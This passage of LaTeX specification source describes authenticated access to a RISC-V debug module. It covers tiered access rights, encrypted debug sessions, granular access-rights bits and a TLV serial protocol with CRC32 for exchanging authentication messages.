Access Rights for this session. This is necessary, so that the debugger knows what it is and is not capable of instrumenting during the debug session. This also ensures that multiple tiers of access to the system can be acquired. For example, an authenticated debugger whose key is proven to be signed by the {\em RISC-V implementer} shall have access to {\em all} resources attached to the RISC-V core. However, an authenticated debugger whose key is proven to be signed by a quality assurance team may not have access to the System Bus and may be required to access peripherals through each hart in the SoC. This may be useful to restrict access to sensitive peripherals on the System Bus that a {\em hart} would not have access to, but a System Bus would. 112 | 113 | \paragraph{Secure Session} 114 | If a unique symmetric session key was negotiated in the Key Exchange phase, and the authentication token was not simply passed to the DM, a secure session can be implemented. In this model, the entire debugging session shall be encrypted with a secure key, ensuring that any malicious component on the same physical bus is unable to inject or intercept data from the core. This model is a best fit for implementations of a RISC-V core that must ensure that each core is physically secured from tampering, and do not wish to solely protect RISC-V cores from arbitrary adversaries wishing to access debug capability. While secure sessions are {\em recommended}, it is not necessary to implement a secure session to remediate the primary risk to the DM, which is an adversary accessing and abusing the DM for malicious purposes. 115 | 116 | \paragraph{Session Deconstruction} 117 | Ensure that sessions either {\em time out} or are implicitly closed. A timed-out session, identified by the DM (and/or AM) must be immediately closed. An error message must be sent to the debugger, followed by unsetting the {\em authenticated} bit in dmstatus. A debugger can close a session with the DM. When the DM or DTM identifies a detached debugger, the AM should be notified to disable the current session and destroy any temporal session key(s). 118 | 119 | \paragraph{Best Practice Recommendations} 120 | For each implementation of a secure communication protocol, the following strategies must be used: 121 | \begin{itemize} 122 | \item Disallow token reuse (Don't use the same symmetric key for multiple sessions or authentication tokens). 123 | \item Ensure authorized users are authenticated using a signature verification model and not simply a secure token. 124 | \item Enforce the use of truly random numbers to increase message entropy. 125 | \item Ensure message interception by third parties does not create risk. 126 | \item Enforce message validation to disallow message tampering. 127 | \item Ensure the identity of the component can be verified. 128 | \item Be resilient to brute-force attack. 129 | \item Disable access to the DM from {\em all} other DTMs when one DTM has authenticated. 130 | \item Always use cryptographic algorithms recommended by best-practices authorities. 131 | \item Ensure the cryotographic algorithm has a lifespan that should, according to best-practices authorities, outlive the supported lifespan of the RISC-V core. 132 | \item Never implement custom cryptographic algorithms. 133 | \item Never use algorithms often confused with encryption algorithms, such as compression algorithms, base64, or xor. 134 | \end{itemize} 135 | 136 | \subsubsection{Granular Access Rights} 137 | While it may be desirable for some debugging features to be accessed by consumers, in-field agents, or quality assurance workers, there are many scenarios where complete system access reduces the overall security and trustworthiness of the system. For these environments, granular access rights (GAR) can assist in limiting control over features and peripherals that could destabilize the integrity of a SoC or core. 138 | 139 | GAR is a conglomeration of features, presented as a set of read-only bits, that the debugger can access once authentication has been performed (or even if authentication is unnecessary) to determine what features can be used during the debug session. The AM can provision different sets of features according to the level of access granted by the authentication token. For example, if a debugger authenticates with a manufacturer's key, the AM can grant {\em full} access rights. On the same system, if a consumer connects a debugger to the core, a default set of access rights can be provided {\em without any authentication}. This gives the manufacturer control over critical components that manage the core's security features while ensuring consumer debug access does not affect system integrity. This is valuable in an environment with a security layer containing cryptographic keys, keys that should not be manipulated by anyone but the manufacturer. 140 | 141 | An important side effect of this model is that it grants the ability for implementations to create sets of privileges even for highly authorized users. For example, if a security analyst is evaluating the state of a potentially compromised system and needs to ensure the highest level of integrity possible, GAR can be used. The analyst can authenticate with a highest level of privilege, but can authenticate to a profile that disables, for example, multiple DTM Transports enabled during a debug session. This ensures that no other component on the motherboard (from, say, a compromised SPI component) can manipulate the debug session in parallel. This augmentation can not only impede the work of extremely specialized implants, it can {\em catch them} in the act. 142 | 143 | \begin{table}[htp] 144 | \begin{center} 145 | \caption{Example Granular Access Rights Bits} 146 | \label{tab:gartable} 147 | \begin{tabular}{|r|l|} 148 | \hline 149 | Bit Position & Name \\ 150 | \hline 151 | 0 & Global Reset Line \\ 152 | 1 & Direct System Bus Access \\ 153 | 2 & Enable M-Mode Debugging \\ 154 | 3 & Global Hart Access \\ 155 | 4 & DTM Transports Disabled on Auth \\ 156 | 5 & Disallow Tampering with Debug CSR Writes \\ 157 | 6 & Expose dmstate to M-Mode \\ 158 | 7 - 31 & Reserved For Future Use \\ 159 | \hline 160 | \end{tabular} 161 | \end{center} 162 | \end{table} 163 | 164 | The \ref{tab:gartable} depicts example bits that could be used to implement GAR in the DM (or AM), through either an actual or virtual Debug CSR. The privileges described below are references to problems described earlier in this chapter. 165 | 166 | \subsection{Serial Protocol for Authentication} 167 | The serial protocol for authentication is simple, taking on the Type, Length, Value (TLV) packet format. This format shall ensure that all messages transmitted over the 32-bit \Rauthdata {\em serial port} are clearly transmitted with adequate opportunities for error correction. 168 | 169 | An authentication packet always takes the following format: 170 | \begin{center} 171 | \begin{tabular}{p{4.0 ex}p{4.0 ex}p{8.0 ex}p{16.0 ex}} 172 | {\scriptsize 31} & \multicolumn{1}{r}{\scriptsize 24} 173 | & 174 | {\scriptsize 23} & \multicolumn{1}{r}{\scriptsize 0} \\ 175 | \hline 176 | \multicolumn{2}{|c|}{$|Type|$} & \multicolumn{2}{c|}{$|Length|$} \\ 177 | \hline 178 | \multicolumn{2}{c}{\scriptsize 8} & \multicolumn{2}{c}{\scriptsize 24} \\ 179 | \end{tabular} 180 | \end{center} 181 | 182 | \begin{center} 183 | \begin{xtabular}{|l|p{0.5\textwidth}|c|l|} 184 | \hline 185 | Field & Description \\ 186 | \hline 187 | |Type| & The type of message being sent to the AM.\\ 188 | |Length| & The bytes in the value, in MSB, padded to a multiple of 4.\\ 189 | \hline 190 | \end{xtabular} 191 | \end{center} 192 | 193 | The length of each message is sent in MSB order, and must always be a multiple of 4, since the {\em serial port} is, essentially, a 32-bit register. The padding used to create a message with a multiple of 4 must be an octet of all zero bits (0x00). The length value is right-shifted by two bits, since the bottom two bits of any message length will always be zero. The length value {\em only} indicates the length of the value and does {\em not} include the type/length word, nor the appended CRC32. 194 | 195 | The value is sent once an {\bf OK} message is received from the AM. This can be achieved by polling the {\tt authbusy} bit. When zero, the debugger can read the response from \Rauthdata. If the value returned by the AM is anything other than {\bf OK}, the debugger should either close, or try again, depending on the error condition returned. 196 | 197 | A simple 32-bit cyclic redundancy check (CRC) is appended to each message. This helps ensure that large messages containing cryptographic data are transmitted correctly across the DTM Transport, the DMI, and the serial port connecting the DM to the AM. The CRC value should be sent in MSB order. The CRC is calculated on both the value {\em and} the type/length header. 198 | 199 | \subsubsection{Transceiving} 200 | The overall process for sending a message to the AM is as follows: 201 | 202 | \paragraph{Message Construction} 203 | \begin{enumerate} 204 | \item Pad the message, if necessary, to a multiple of 4 octets. 205 | \item Determine the message type. 206 | \item Construct the message type/length header word. 207 | \item Prepend the type/length header to the message. 208 | \item Calculate the CRC32 checksum across the header and the message. 209 | \item Append the CRC32 checksum to the message. 210 | \end{enumerate} 211 | 212 | \paragraph{Message Transmission} 213 | For each 32-bit word in the message: 214 | \begin{enumerate} 215 | \item Write the 32-bit word in MSB format to \Rauthdata. 216 | \item Wait for the {\tt authbusy} bit to change to zero. 217 | \item Read the 32-bit word in MSB format from \Rauthdata. 218 | \item Continue if the value equates to {\bf OK} 219 | \item If the value does {\em not} equal {\bf OK}, stop and raise an error. 220 | \end{enumerate} 221 | 222 | \paragraph{Message Reception} 223 | If the response to a write through \Rauthdata is {\bf Response} rather than {\bf OK}, the AM has a message for the debugger. This is typically a response to a command. The following list describes this process: 224 | \begin{enumerate} 225 | \item Ensure the {\tt authbusy} bit is zero. 226 | \item Read from \Rauthdata. 227 | \item If the value is not {\bf Response}, stop. 228 | \item Write a message type of {\bf OK} to \Rauthdata. 229 | \item Query the {\tt authbusy} bit until it is zero. 230 | \item Read from \Rauthdata. 231 | \item Parse the type/length header. 232 | \item Write a message type of {\bf OK} to \Rauthdata. 233 | \item Continue querying {\tt authbusy} until zero, reading from \Rauthdata, and writing {\bf OK} until the total message is received. 234 | \item Once fully received, ensure the CRC32 value is correct. 235 | \end{enumerate} 236 | 237 | The design of the message types allows for opaque transmission of authentication data (of any type and complexity) to and from the AM. This ensures that this specification is not affixed to a specific set of authentication types, and enables future enhancements to be seamless with pre-existing implementations. The following message types are currently supported. More types may be added in the future. 238 | \begin{center} 239 | \begin{tabular}{ |l|l|l| } 240 | \hline 241 | Message Type & Value & Description \\ 242 | \hline 243 | |OK| & 0 & The message was received without error.\\ 244 | |Error| & 1 & An error occurred, the value of which is in the {\em length} field.\\ 245 | |Send| & 2 & Send data to the AM.\\ 246 | |Receive| & 3 & Query the AM for data.\\ 247 | |Reserved| & 4-255 & These values are currently reserved.\\ 248 | \hline 249 | \end{tabular} 250 | \end{center} 251 | 252 | --------------------------------------------------------------------------------